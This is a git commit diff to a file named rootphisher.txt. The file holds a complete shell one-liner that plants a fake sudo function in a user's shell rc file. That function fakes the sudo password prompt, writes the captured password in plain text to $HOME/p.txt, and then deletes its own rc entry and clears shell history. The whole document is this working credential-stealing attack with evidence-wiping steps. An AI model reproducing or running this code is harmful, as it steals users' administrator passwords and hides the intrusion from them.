Commit: c8f75eb210006f66ce7b45498a8ee705cd7e752f Parent: ed0e49abde59a768b36f95466e828ef3f3160a64 Author: Vi Grey Date: 2017-10-15 02:52 UTC Summary: rootphisher.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/rootphisher.txt b/rootphisher.txt index 5e977e9..0bd2888 100644 --- a/rootphisher.txt +++ b/rootphisher.txt @@ -1,3 +1,3 @@ a=$HISTFILE;unset HISTFILE -h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e;sleep 2;$e \"Sorry, try again.\";$e -n \$p>$HOME/p.txt;$u p;$r -k \$@;fi;};$t(){ $r \$@;}">>$s +h=$(hexdump -n 4 -e '/1 "%02X"' /dev/urandom);s=$HOME/.$(basename $SHELL)rc;r=sudo;e=echo;t=/usr/bin/$r;u=unset;$e "$r(){ $u -f $r;$u -f $t;if ! grep -q $h $s;then $r \$@; else sed -i -n /$h/\!p $s;$e -n \"[$r] password for \$USER: \";read -s p;$e -n \$p>$HOME/p.txt;$u p;$e;sleep 2;$e \"Sorry, try again.\";$r -k \$@;fi;};$t(){ $r \$@;}">>$s sed -i -n /HISTFILE/\!p $a;history -c;exit \ No newline at end of file